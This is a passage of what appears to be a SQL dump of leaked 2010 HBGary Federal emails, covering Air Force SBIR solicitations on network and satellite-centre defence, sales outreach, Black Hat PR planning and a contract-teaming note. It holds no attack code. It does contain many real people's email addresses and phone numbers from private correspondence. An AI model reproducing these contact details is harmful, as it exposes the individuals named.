to be distributed to clients. The CDS will provide an Application Programming Interface (API) that affords “real-time” content delivery to GIG clients. The CDS must also ensure that payloads are transmitted securely to ensure that they are not intercepted or modified by unintended parties. The CDS must ensure only authorized users on the receiving nodes can access and view the content, and (to the extent possible) leverage industry standards to enable authentication and authorization and establish access control policies for distributed content, as well as promote loose coupling, interoperability, and extensibility.\r\n \r\nPHASE I: Investigate, identify and design protocols and mechanisms suitable for a secure CDS that provides features amenable to distributed C2 planning and execution net-centric operations.  Provide a proof-of-concept demonstration.\r\n \r\nPHASE II: Based on the Phase I design, implement an advanced prototype and Air Force relevant scenario-based demonstration of a DIL resilient, secure service oriented CDS system that can support dynamic C2 planning and execution and Continuity of Operations (COOP).\r\n \r\nPHASE III DUAL USE COMMERCIALIZATION:\r\nMilitary Application: Secure high tempo Air and Space Operations Center (AOC) distributed operations supported by Operation Support Facilities (OSFs) that service the Component-Numbered Air Forces (CNAF) hosted on the GIG.\r\nCommercial Application: Increased cost-effectiveness, profitability, and security for commercial CDN service providers.  Dramatic improvement in the speed of web sites for CDN clients as their target audiences grow.\r\n \r\nREFERENCES:\r\n1. S.  Saroiu, K. Gummadi, R. Dunn, S. Gribble and H. Levy, “An Analysis of Internet Content Delivery Systems” , Pp. 315-328 of the Proceedings of the 5th Symposium on Operating Systems Design and Implementation (OSDI), Boston, MA, December 2002\r\n \r\n2. R. Buyya, M. Pathan and A. Vakali (eds.), Content Delivery Networks, ISBN 978-3-540-77886-8, Springer, Germany, 2008\r\n \r\n3. S. Majumdar; D. Kulkarni; C. Ravishankar, “Addressing Click Fraud in Content Delivery Systems”, Infocom, IEEE, 2007\r\n \r\n4. United States Air Force Posture Statement 2009, Department of the Air Force, 2009\r\n \r\nKEYWORDS: Content Delivery System, Service Oriented Architecture (SOA), Network Communication Protocols, Resource Allocation, Resource Management, Information Management, Continuity of Operations (COOP), Disconnected Intermittent Limited (DIL) Communications\r\n \r\nTPOC:                    James Milligan\r\nPhone:                   (315) 330-1491\r\nFax:                       \r\nEmail:                    james.milligan@rl.af.mil\r\n \r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n',9020,'aaron_hbgary_com/9020.html'),(8921,'2010-07-20','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006824.M885885P14101Q3776.eml','scott.sage@ngc.com,scott.sage@ngc.com','Fwd: AF103-062 TITLE: Network Defense for Mission Assurance Based on 	Priority','Hi Scott,Not sure if you&#39;re still involved with MANEIO but I read this SBIR Solicitation that just dropped today and thought of you.  NG probably can&#39;t go after since it&#39;s a SBIR, but potentially a small biz could license MANEIO and tweak to meet these requirements?\r\nHope all is well,TedURL:  http://www.acq.osd.mil/osbp/sbir/solicitations/sbir103/af103.htm\r\n\r\n\r\nAF103-062                           TITLE: Network Defense for Mission Assurance Based on Priority\r\n\r\n \r\n\r\nTECHNOLOGY AREAS: Information Systems\r\n\r\n \r\n\r\nThe technology within this topic is restricted under the International Traffic in Arms Regulation (ITAR), which controls the export and import of defense-related material and services. Offerors must disclose any proposed use of foreign nationals, their country of origin, and what tasks each would accomplish in the statement of work in accordance with section 3.5.b.(7) of the solicitation.\r\n\r\n \r\n\r\nOBJECTIVE: Develop techniques and technologies for ranking and prioritizing network components based on the criticality in support of mission assurance.\r\n\r\n \r\n\r\nDESCRIPTION: Today’s approach to network defense and information assurance is focused at the information level and treats all network components as being of equal value. Despite this approach of protecting everything equally, significant breaches and intrusions continue. Maximized defense of all network assets is impractical, prohibitively expensive, may constrain the mission, and often results in a lowest common denominator solution. One approach to remedy the situation is to focus resources on providing the best defense possible for those systems that will assure mission success, while other systems would receive nominal protection. This approach represents a paradigm shift, from a focus on Information Assurance (IA) to Mission Assurance (MA). The mission of the Air Force (AF) is to “Fly, fight and win...in air, space and cyberspace”. One might assume the solution as easy as protecting warfighters in key positions such as flight line maintenance and operations. But what about non-conspicuous activities not directly involved with “putting bombs on target?” If the payment service was compromised, how would the AF continue to procure fuel and other supplies? Without the personnel assignment system operating, how would the AF ensure the right people are at the right place at the right time? Most current methods for prioritizing missions are based on traditional scheduling algorithms (i.e. task based), Cost-Based Scheduling (i.e. resource-based), Temporal Calculus (i.e. event-based), Genetic Algorithms, and Simulated Annealing. These methods work very well in a highly structured environment with well-established command hierarchies. However, the combination of a net-centric environment and the cyber domain render all current methods ineffective. A major deficiency with current methods is once a mission has been assigned a priority, it cannot be changed without starting the process from the beginning. Various approaches to priority analysis should be considered, including but not limited to modeling (e.g. automated decision theory tools), data derivation and aggregation (e.g. human analysis), or mixed-initiative (e.g. the synthesis of the best aspects of humans and machines). Additionally, a distributed prioritization system would also have much higher transaction rates than current single actor, sequential models. Methods need to be developed to not only scale to simultaneous distributed prioritization, but also account for network latency (and possible failures).\r\n\r\n \r\n\r\nThe technologies must be robust enough to demonstrate the ability to prioritize collaboratively while: 1) identifying potential conflicts, constraints, and/or boundaries within a mission’s components, difficult both because of the exponential nature of constraint interaction and the need to predict where the interactions might occur; 2) developing links between and among missions and actions, complex due to the critical balance between component sequencing – a challenging scheduling task – and the achievement of key objectives with limited resources; 3) allowing multiple agents (human and/or machine) to work on portions of the priority (i.e., mission fragments) simultaneously, a highly complex coordination task that is poorly understood in mixed-initiative environments; and 4) supporting simultaneous prioritization, a nearly intractable problem in the face of highly uncertain and dynamic operating environments.\r\n\r\n \r\n\r\nPHASE I: 1) Design and develop techniques and technologies for ranking and prioritizing network components in a representative scenario based on the criticality in support of mission assurance, 2) Conduct a complete comparative analysis, and 3) Proof-of-feasibility demonstration of key enabling concepts.\r\n\r\n \r\n\r\nPHASE II: 1) Develop and demonstrate a prototype that implements the Phase I methodology, 2) Identify appropriate performance metrics for evaluation, 3) Generate a cost estimate and implementation guidance for both a modest pilot project and fielding at the Air Force level or at a regional Network Operations and Security Center, and 4) Detail the plan for the Phase III effort.\r\n\r\n \r\n\r\nPHASE III -- DUAL USE:\r\n\r\nMILITARY APPLICATION:  Computer and network defenses for the GIG and all other IT systems. DoD components and Department of Homeland Security can benefit from this research.\r\n\r\nCOMMERCIAL APPLICATION:  The growing importance of computers and networks to the nation&#39;s economic well-being and national security is dependent on a cyber defense strategy with the greatest opportunity for mission assurance.\r\n\r\n \r\n\r\nREFERENCES:\r\n\r\n1. Importance of mission assurance to the Air Force mission: http://www.afceanova.org/events/monthly-luncheons/bios-presentations/Schissler.ppt\r\n\r\n \r\n\r\n2. “Global Operations and Mission Assurance in a Contested Cyber Environment”, 2008 GTISC Security Summit. Lt Gen Bob Elder. 15 October 2008, smartech.gatech.edu/bitstream/1853/26300/2/presentation.pdf\r\n\r\n \r\n\r\n3. “Mission, System, Information, Cyber Assurance”, Daryl R. Hild, Associate Department Heat, MITRE, Ground Systems Architectures Workshop, March 1-4, 2010.\r\n\r\n \r\n\r\n4. “Mission Assurance—A Key Part of Space Vehicle Launch Mission Success”, Maj Gen Ellen M. Pawlikowski, USAF; http://www.nro.gov/articles/2_Pawlikowski.pdf\r\n\r\n \r\n\r\nKEYWORDS: Mission prioritization, mission assurance, network defense, information assurance, resource, allocation, prioritization, priority, dependency, mission, assurance, Global Information Grid.\r\n\r\n \r\n\r\nTPOC:                    Joseph Carozzoni\r\n\r\nPhone:                   (315) 330-7796\r\n\r\nFax:                        (315) 330-8059\r\n\r\nEmail:                    joe.carozzoni@rl.af.mil\r\n\r\n\r\n\r\n',10559,'aaron_hbgary_com/10559.html'),(8922,'2010-07-20','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006825.M110400P14101Q3777.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: Call agenda','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nSee below.&nbsp; Karen wants you to have a blog ready to go once Fingerprint\r\ntool is released.&nbsp; While at BH, we should get people to join the\r\nFingerprint/IOC alliance.&nbsp; We can make a joint announcement around end of\r\nAugust.&nbsp; THoguhts?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Karen Burke\r\n[mailto:karen@hbgary.com] \r\nSent: Tuesday, July 20, 2010 11:57 AM\r\nTo: Penny Leavy\r\nSubject: Call agenda\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nHi Penny, I left you a v-mail for our 11 AM call.&nbsp;I\r\nhave to leave at 12:45 PM for most of the afternoon, but feel free to call me\r\non my cell. Here is what I wanted to cover on our call. Let\'s reschedule as\r\nsoon as&nbsp; possible. Basically, I want to be sure we are all buttoned up re\r\nBH -- see below:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n Black Hat: Fingerprint Freeware\r\n     writeup-&gt;&nbsp;what is status; coordinate posting to HBGary site (12 PM\r\n     PT Wedn. July 28th); availability for press interviews (inperson and by\r\n     phone) following Greg\'s talk. I propose we don\'t do a press release;\r\n     instead, we announce over Twitter and direct outreach to our\r\n     reporters/analysts.&nbsp; \r\n Pending media interviews: CNET and\r\n     VentureBeat-&gt;waiting on reporters\' availability; discuss other outreach\r\n     to national security press&nbsp;\r\n HBGary BH Booth announcement: Confirm when we\r\n     announce our booth presence -&gt;Tuesday July 27th?\r\n Possible Aaron Barr blogposting on Fingerprint\r\n     tool: I think Aaron did a very good job in yesterday\'s&nbsp;providing his\r\n     perspective on importance&nbsp;of Fingerprint tool to government/securitiy/industry\r\n     at large. I propose he write it up as a blog and we post when tool is\r\n     released.\r\n Twitter button/my contact info on HBGary site:\r\n     I\'ve sent messages to Charles to help me get this up; no response. Any\r\n     ideas, please let me know.&nbsp;\r\n Inoculator: Greg had expressed&nbsp; interest in\r\n     releasing prior to BH. At this point, I think we are too close to the show\r\n     to release it. All the press has been around Fingerprint. I recommend we\r\n     release same day as Fingerprint&nbsp; or AFTER BH to get better coverage.\r\n Website: Still would like to talk to you about\r\n     site info organization/presentation. Also have you ever used Google\r\n     Analytics? Would you be interested?\r\n Dana Priest: Saw your note re Jon Ward; explain\r\n     what you meant re following up with Dana. \r\n Budget for July-&gt; I&nbsp;have already billed\r\n     $2500 for this month. Can I get extended budget for this month? I probably\r\n     need another 10-15 hours.\r\n Vacation: Taking time off in August: Au.9-11;\r\n     16th-18th.\r\n Forrester call tentatively scheduled now for\r\n     Friday July 23rd at 11 AM PT; Jonathan apologized for mixup on dialins.\r\n     Waiting on their new dial-iin before I send calendar invite.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13705,'aaron_hbgary_com/13705.html'),(8923,'2010-07-20','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006833.M317822P14101Q3778.eml','\"Coy, Sara J 1LT MIL USA SMDC ARSTRAT\" <Sara.Coy@smdc-cs.army.mil>,\"Coy, Sara J 1LT MIL USA SMDC ARSTRAT\" <Sara.Coy@smdc-cs.army.mil>,','Re: FW: Active Defense whitepaper, final','Hello 1LT Coy,If you can give me an unclassified overview of your requirements, I&#39;d be happy to give you an unclass capabilities overview to see if there is a match.\r\nWe specialize in all things related to malware.  Greg Hoglund is our CEO and founded the company in 2003.  Greg is an accomplished author, world recognized leader in rootkit technology and was recently named one of &quot;10 hackers to know&quot; in Network Security magazine.  We offer a number of Cyber services including malware reverse engineering, vulnerability research, exploit development, incident response, penetration testing, digital forensics, social media, and training.  We also have a mature product-line of COTS which assist in accomplishing those tasks.  \r\nI&#39;ve attached two whitepapers and a product sheet that I think you may find interesting.  The first is our analysis of the Aurora attack, the second is a how-to guide for using our REcon product to develop software exploits, and the third describes our Digital DNA product.  \r\nRegards,Ted \r\n-- \r\nTed H. VeraPresident | COOHBGary Federal719-237-8623http://www.hbgary.com\r\n\r\nOn Tue, Jul 20, 2010 at 2:31 PM, Chappell, Scott C Mr CIV USA SMDC ARSTRAT &lt;Scott.Chappell@smdc-cs.army.mil&gt; wrote:\r\n1LT Coy / Sara,\r\n\r\nAttached is just one sample of current UNCLASS defensive threat analysis\r\nfrom Ted&#39;s team...\r\n\r\nThey also made the news today:\r\nhttp://www.net-security.org/malware_news.php?id=1406\r\n\r\nI know they could have definite value added to your effort.\r\n\r\nHave Cc:&#39;d Ted... As we discussed, his re-issue on clearance still in\r\nthe works --- so his right hand, Aaron Barr, will have to hold any\r\nclassified conversations in the mean time.\r\n\r\nAm certain that Ted will make contact with you soonest.\r\n\r\nTake care,\r\n\r\nScott\r\n\r\n',7749,'aaron_hbgary_com/7749.html'),(8924,'2010-07-20','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006835.M191617P14101Q3779.eml','keith.oanes@nekasg.com','Re: HBGary','Hello again Keith, Just wanted to follow-up to see if there was any interest in meeting up.  Are you in town this week?Regards,Ted\r\nOn Thu, Jul 15, 2010 at 1:17 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nHi Keith, As I mentioned on the phone, Aaron Barr and Bruce Parkman met sometime ago and it sounded like there could be some corporate synergies between our groups.  I was asked to follow up on this since I am located in Colorado Springs.  HBGary is a small software development and services company, headquartered in Sacramento, CA.  We specialize in all things related to malware.  Greg Hoglund is HBGary Inc&#39;s CEO and founded the company in 2003.  Greg is an accomplished author, world recognized leader in rootkit technology and was recently named one of &quot;10 hackers to know&quot; in Network Security magazine.  We offer a number of Cyber services including malware reverse engineering, vulnerability research, exploit development, incident response, penetration testing, and digital forensics.  We also have a mature product-line of COTS which assist in accomplishing those tasks.  \r\n\r\n\r\n\r\nI&#39;ve attached three whitepapers that I think you may find interesting.  The first is our analysis of the Aurora attack, the second is a how-to guide for using our REcon product to develop software exploits, and the third describes our latest Enterprise product, Active Defense.  \r\n\r\n\r\n\r\nIf you&#39;re interested, I&#39;d love to have an opportunity to discuss capabilities and Cyber related business development opportunities.  \r\nRegards,Ted-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\nhttp://www.hbgary.com\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n',4579,'aaron_hbgary_com/4579.html'),(8925,'2010-07-20','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006835.M407634P14101Q3780.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','Fwd: HBGary','FYI ------------ Forwarded message ----------From: Keith Oanes &lt;keith.oanes@nekasg.com&gt;\r\nDate: Tue, Jul 20, 2010 at 3:05 PMSubject: RE: HBGaryTo: Ted Vera &lt;ted@hbgary.com&gt;Cc: Eric Hipkins &lt;eric.hipkins@nekasg.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTed,\r\n\r\n                I\r\nappreciate your email and follow up; I have spoken with Bruce and Eric and they\r\nare making plans to meet with you when Bruce returns from his current business\r\ntrip.  Eric Hipkins (cc’d above) will be contacting you for a\r\nmeeting in the Colorado Springs area.  I am currently unavailable to meet\r\nfor the next couple of weeks but Eric is the subject matter expert for this\r\ncapability within NEK.\r\n\r\n                As\r\nthey internally work the details for the meeting, please feel free to contact\r\nEric or myself with any questions you may have.  Sorry I could not respond\r\nearlier but I was hoping to have dates for the meeting before I responded.\r\n\r\n                Take\r\ncare\r\n\r\n \r\n\r\nV/R\r\n\r\nKeith\r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\nKeith Oanes\r\nDirector, Business Development Group\r\nNEK Advanced Securities Group Inc.\r\n\r\nOffice - 719-634-5523\r\nCell - 208-871-0099\r\nFax - 719-596-6318\r\nEmail - keith.oanes@nekasg.com\r\n\r\n\r\n\r\nCONFIDENTIALITY NOTICE: This e-mail message, including any\r\nattachments, is for the sole use of the intended recipient(s) and may contain\r\nproprietary information. Any unauthorized review, use, disclosure or\r\ndistribution is prohibited. If you are NOT the intended recipient, please\r\ncontact the sender by reply e-mail and destroy all copies of the original\r\nmessage.\r\n\r\n \r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Tuesday, July 20, 2010 2:59 PM\r\nTo: Keith Oanes\r\nSubject: Re: HBGary\r\n\r\n\r\n\r\n \r\n\r\nHello again Keith, \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nJust wanted to follow-up to see if there was any interest in\r\nmeeting up.  Are you in town this week?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nRegards,\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nOn Thu, Jul 15, 2010 at 1:17 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nHi Keith, \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAs I mentioned on the phone, Aaron Barr and Bruce Parkman\r\nmet sometime ago and it sounded like there could be some corporate synergies\r\nbetween our groups.  I was asked to follow up on this since I am located\r\nin Colorado Springs.  HBGary is a small\r\nsoftware development and services company, headquartered in Sacramento, CA.\r\n We specialize in all things related to malware.  Greg Hoglund is\r\nHBGary Inc&#39;s CEO and founded the company in 2003.  Greg is an accomplished\r\nauthor, world recognized leader in rootkit technology and was recently named\r\none of &quot;10 hackers to know&quot; in Network Security magazine.  We\r\noffer a number of Cyber services including malware reverse engineering,\r\nvulnerability research, exploit development, incident response, penetration testing,\r\nand digital forensics.  We also have a mature product-line of COTS which\r\nassist in accomplishing those tasks.  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI&#39;ve attached three whitepapers that I think you may find\r\ninteresting.  The first is our analysis of the Aurora attack, the second\r\nis a how-to guide for using our REcon product to develop software exploits, and\r\nthe third describes our latest Enterprise product, Active Defense.  \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nIf you&#39;re interested, I&#39;d\r\nlove to have an opportunity to discuss capabilities and Cyber related business\r\ndevelopment opportunities.  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nRegards,\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nhttp://www.hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n',11766,'aaron_hbgary_com/11766.html'),(8926,'2010-07-20','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006835.M614483P14101Q3781.eml','\"Scott Chappell\" <scott.chappell@smdc-cs.army.mil>,\"Maier, Raymond Joe (US SSA) (US ASTSS Huntsville)\" <raymond.maier@baesystems.com>','SBIR','\r\nScott / Joe,\r\n\r\nThis Small Business Innovative Research (SBIR) Solicitation was just posted by the Air Force today, proposals are due in August.  I thought it was a good example of &quot;where Cyber meets Space&quot; and thought I&#39;d pass it along.\r\n\r\nTed\r\n\r\n\r\n\r\nAF103-058                           TITLE: Computer Network Defense (CND) for Future Satellite Operations Center (SOC)\r\n \r\nTECHNOLOGY AREAS: Information Systems, Space Platforms\r\n \r\nThe technology within this topic is restricted under the International Traffic in Arms Regulation (ITAR), which controls the export and import of defense-related material and services. Offerors must disclose any proposed use of foreign nationals, their country of origin, and what tasks each would accomplish in the statement of work in accordance with section 3.5.b.(7) of the solicitation.\r\n \r\nOBJECTIVE: Develop methods and tools to enable identification and mitigation approaches of cyber\r\nattacks on Satellite Operations Centers(SOCs) for mission assurance.\r\n \r\nDESCRIPTION: Cyber Warfare has become a significant threat to DOD space operations due to increased connectivity and integration with other DOD networks and information infrastructure. While Computer Network Defense (CND) requirements are not unique to DOD satellite operations, the methods used to attack space ground systems can have unique consequences to satellite operations. These effects could include the total loss, hostile takeover, or denial of service affecting one or more space assets. Loss of space capabilities greatly impacts military operations, time to reconstitute could take years, and cost billions to replace.  As space operations ground centers become more interconnected and also interface to larger classified and unclassified networks, the potential of attack on space operations increases. Therefore, there is a growing need to actively protect DOD satellite operations from Cyber Attacks in real-time to prevent disruption of operations, or worse yet, detrimental affect space assets and mission capabilities. This research seeks novel approaches that enable SOC operators to identify and characterize a cyber attack via wired or wireless RF links, determine the impact to the affected satellite, constellation, or across different constellations, and recommend courses of action to mitigate or eliminate the compromising event.  As part of the solution, the capability must work in an environment likely connected to multiple networks with classic DOD 8500 controls (e.g. firewalls, guards, and privileged user access controls) that insufficiently protect real-time satellite operations from sophisticated cyber attacks.  In addition, future SOCs systems will implement serviced-based[2] designs with open standards (e.g.[3]) and communication middleware technologies that enable: use of common services across multiple SOC missions, fusion of mission data across SOCs for situational awareness, and sharing of ground resources (e.g. antennas, signal processing and cryptologic hardware). This distributed approach poses unique challenges in providing information assurance mechanisms that protect authorization, confidentiality, integrity, and availability of SOC systems. Proposed solutions can focus on any or all combinations of detection, impact analysis, and correct action solutions.  Novel mitigation solutions should be affordable, relatively easy to implement, and address various categories of vulnerabilities.   Each cyber attack scenario should not only quantify impacts to authorization, confidentiality, integrity, and availability, but also quantify direct mission impacts and second order effects. Based on this thorough research into space operation specific cyber attack scenarios, novel approaches, concepts and prototypes would be developed for defending operation centers against these attacks. Computer Network Defense techniques developed and demonstrated should include both passive and active methods for countering cyber attacks, assessing mission impact, and proposing corrective actions appropriate for mission success.\r\n \r\nPHASE I: Define various Cyber Attack Scenarios that would be the most harmful to Satellite Operation Centers and space operations. Propose methods to identify the attack, counter the threats defined by the scenarios, and determine mission impacts.\r\n \r\nPHASE II: Develop and demonstrate proof of concepts for identifying and defending against the emerging and diverse Cyber Threats that could adversely affect networked DOD SOCs.  Develop ability to determine mission impact and recommend corrective actions using a variety of different scenarios.\r\n \r\nPHASE III DUAL USE COMMERCIALIZATION:\r\nMilitary Application:  Computer Network Defense for DOD Satellite Control Centers.\r\nCommercial Application: Commercial Satellite Operations would benefit from using this technology to safe guard commercial space assets from Cyber Attack. In a broader sense, apply to any service-based application.\r\n \r\nREFERENCES:\r\n1. DOD 8500-2, www.dtic.mil/whs/directives/corres/pdf/850002p.pdf\r\n \r\n2. Defense Information Systems Agency (DISA). &quot;Net-Centric Enterprise Services (NCES) Techguide.&quot; http://metadata.dod.mil/mdr/ns/ces/techguide/main_page.html\r\n \r\n3. Information on NASA’s Consultative Committee for Space Data Systems (CCSDS) may be found at: http://www.ccsds.org/index.html.\r\n \r\nKEYWORDS: Cyber Attack, Computer Network Defense (CND), Space Operation, Satellite Operations Center (SOC), Information Assurance (IA), Information System Security\r\n \r\nTPOC:                    Chris Booth\r\nPhone:                   (315) 330-3625\r\nFax:                       \r\nEmail:                    christopher.booth@rl.af.mil\r\n\r\n',12467,'aaron_hbgary_com/12467.html'),(8927,'2010-07-20','\"Black Hat USA 2010\" <email@blackhat.messages4.com>','/aaron@hbgary.com/new/1297006836.M19076P14101Q3782.eml','aaron@hbgary.com','Food, Beverages, Prizes... the Black Hat Crawl','========================\r\nBlack Hat USA 2010 \r\nJuly 24-29\r\nCaesars Palace\r\nLas Vegas, Nevada\r\nwww.blackhat.com\r\n========================\r\n\r\nBlack Hat USA Special Events - Don\'t Miss This Year\'s Black Hat Crawl \r\n\r\nWhen: Wednesday July 28, 18:00 - 21:00\r\nWhere: Caesars Palace, PISA + PALER MO, TREVI\r\n\r\nWhen the annual Black Hat reception starts to wind down and \r\nyou\'re looking for a place to go, don\'t fret, because the \r\nBlack Hat Crawl will just be getting warmed up. The Black Hat \r\nCrawl will feature themed rooms from key exhibitors RSA & \r\nStonesoft; offering conference delegates a venue to continue \r\ntheir technology conversations and networking activities. \r\nParticipating Crawl sponsors have gone the extra mile in \r\nproviding food and drinks, along with opportunities to win \r\nsome fabulous prizes. Opportunities to win prizes take place \r\nin Pisa + Palermo and Trevi directly following the Gala \r\nReception.\r\n\r\n------------------------------------\r\nBlack Hat Crawl Promo from Stonesoft\r\n------------------------------------\r\n¡Fiesta! ¡Fiesta! Salsa your way into the Trevi room and \r\njoin Stonesoft for a memorable evening - complete with a \r\npiñata swing. Take aim and enter to win an iPad! Be sure \r\nto check out the many activities Stonesoft has planned - \r\nfrom high-demand giveaways such as limo service and a Hack \r\nthe Lab event. \r\n\r\nView activities:\r\nhttp://links.covertchannel.blackhat.com/ctt?kn=2&m=35616124&r=NTYyODIzNjk0NQS2&b=2&j=NzgwNTg1MjAS1&mt=1&rt=0\r\n\r\n---------------\r\nAbout Stonesoft\r\n---------------\r\nStonesoft Corporation is an innovative provider of \r\nintegrated network security solutions to secure the \r\ninformation flow of distributed organizations. \r\nStonesoft customers include enterprises with growing \r\nbusiness needs requiring advanced network security \r\nand always-on business connectivity. \r\n\r\nFor more information visit:\r\nhttp://links.covertchannel.blackhat.com/ctt?kn=5&m=35616124&r=NTYyODIzNjk0NQS2&b=2&j=NzgwNTg1MjAS1&mt=1&rt=0\r\n\r\n----------\r\nAbout RSA\r\n----------\r\nRSA, The Security Division of EMC, is the premier \r\nprovider of security solutions for business acceleration, \r\nhelping the world\'s leading organizations succeed by \r\nsolving their most complex and sensitive security \r\nchallenges. RSA\'s information-centric approach to \r\nsecurity guards the integrity and confidentiality \r\nof information throughout its lifecycle - no matter \r\nwhere it moves, who accesses it or how it is used. \r\n\r\nFor more information visit:\r\nhttp://links.covertchannel.blackhat.com/ctt?kn=1&m=35616124&r=NTYyODIzNjk0NQS2&b=2&j=NzgwNTg1MjAS1&mt=1&rt=0\r\n\r\n---------------------------------------------------------\r\nLast Week to Register Online for the Largest Black Hat Ever!\r\n---------------------------------------------------------\r\nThis year is the largest Black Hat ever produced. We have \r\ngrown from seven tracks of content in 2009 to a total of \r\n11 tracks for the 2010 event. This year\'s two days of \r\nBriefings will feature over 200 speakers discussing their \r\nlatest research around fundamental security topics. In \r\naddition Black Hat USA will host over close to 70 training \r\ncourses from top industry experts with curriculum to help \r\nsenior IT professionals hone the skills necessary in protecting \r\ntheir enterprise. For more information and to register visit: \r\nwww.blackhat.com. \r\n\r\nThank you\r\n\r\nBlack Hat Team\r\n\r\n==========================================================\r\n\r\n(C) UBM TechWeb 2010. All Rights Reserved. Black Hat \r\nc/o TechWeb, 600 Harrison St., 6th Floor, San Francisco, \r\nCA 94107. TechWeb, Black Hat, and associated design \r\nmarks and logos are trademarks owned or used under \r\nlicense by United Business Media LLC, and may be \r\nregistered in the United States and other countries. \r\nOther names mentioned may be the trademark or service \r\nmark of their respective owners.\r\n\r\nThis email was sent to: aaron@hbgary.com. This message is sent \r\nto qualified recipients who recently attended, or requested \r\nor downloaded information about either Black Hat or a \r\nrelated United Business Media event or publication or \r\nrequested information about our events, publications \r\nand products\r\n\r\nBlack Hat respects your privacy. If you wish to discontinue \r\nreceiving future mails from Black Hat USA,please \r\nrespond here:\r\nhttp://links.covertchannel.blackhat.com/ctt?kn=3&m=35616124&r=NTYyODIzNjk0NQS2&b=2&j=NzgwNTg1MjAS1&mt=1&rt=0\r\n\r\nPlease do not reply to this email as replies are not being read.\r\n\r\nPrivacy Policy \r\nhttp://links.covertchannel.blackhat.com/ctt?kn=4&m=35616124&r=NTYyODIzNjk0NQS2&b=2&j=NzgwNTg1MjAS1&mt=1&rt=0   \r\n\r\n',529,'aaron_hbgary_com/529.html'),(8928,'2010-07-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006836.M272141P14101Q3783.eml','\"Chris Clair\" <CHRISTOPHER.CLAIR@tasc.com>,\"Chris Clair\" <CHRISTOPHER.CLAIR@tasc.com>','Re: EXTERNAL:','Potentially a very good opportunity to get out contingency offers to some key personnel.NG had a major security violation today and no one has owned up to it. &nbsp;NG is threatening to poly the entire team, maybe an idle threat but making people very nervous.AaronOn Jul 19, 2010, at 2:59 PM, Heider, Raymond A (TASC) wrote:  I should be at meeting also. I know the Div Chief well. He is the Big Boss and we have discussed his. View of media ops. Ray  ----- Original Message ----- From: Clair, Chris (TASC) To: Pisani, Albert A. (TASC); \'Aaron Barr\' &lt;aaron@hbgary.com&gt; Cc: Heider, Raymond A (TASC); Lovegrove, John (TASC); Garcia, Kathy (TASC) Sent: Mon Jul 19 13:00:22 2010 Subject: RE: EXTERNAL:  Hi Al,  We are currently working on defining the positions for key folks we want on COIN.&nbsp; We expect to get the reqs posted by end of the month.&nbsp;  By the way, Aaron and I thought it a good idea for you to visit the customer who has the COIN mission.&nbsp; What are your availabilities for the next week or two?&nbsp; Additionally, who else do you think should attend?  Since Aaron has communications with the customer, I defer to him to arrange the meeting.&nbsp; He also wants to pre-brief you on some of the mission intricacies.&nbsp;  We spoke to Google and Apple last week.&nbsp; They both agreed to be on our team!&nbsp; I love this kind of innovation.  Our team consists of:  &nbsp;- TASC (PMO, creative services) &nbsp;- HB Gary (Strategy, planning, PMO) &nbsp;- Akamai (infrastructure) &nbsp;- Archimedes Global (Specialized linguistics, strategy, planning) &nbsp;- Acclaim Technical Services (specialized linguistics) &nbsp;- Mission Essential Personnel (linguistic services) &nbsp;- Cipher (strategy, planning operations) &nbsp;- PointAbout (rapid mobile application development, list of strategic partners) &nbsp;- Google (strategy, mobile application and platform development - long list of strategic partners) &nbsp;- Apple (mobile and desktop platform, application assistance -long list of strategic partners)  We are trying to schedule an interview with ATT plus some other 